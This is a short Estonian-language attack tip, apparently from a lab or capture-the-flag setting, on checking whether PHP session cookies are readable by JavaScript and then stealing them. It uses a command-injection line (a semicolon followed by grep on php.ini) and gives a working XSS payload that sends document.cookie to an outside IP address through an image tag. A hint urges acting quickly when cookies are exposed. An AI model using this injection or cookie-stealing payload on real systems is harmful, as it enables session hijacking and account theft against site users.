Kuidas teada saada, kas küpsised on JavaScriptile kasutamiseks lubatud või mitte. Lahendus kasutab command execution'it (XSS auku pole leitud, ei saa kasutada, ...)

; grep session.cookie_httponly /etc/php5/apache2/php.ini

Väljund:

  • kui küpsised ei ole JavaScriptile loetavad, siis on väljund selline:

session.cookie_httponly = 1

  • kui küpsised on JavaScriptile loetavad, siis on väljund selline (HINT: Tegutse ruttu! :))

session.cookie_httponly = 0

XSS

<script>var i='<img src="http://192.168.56.101/'+document.cookie+'" />'; document.write(i);</script>
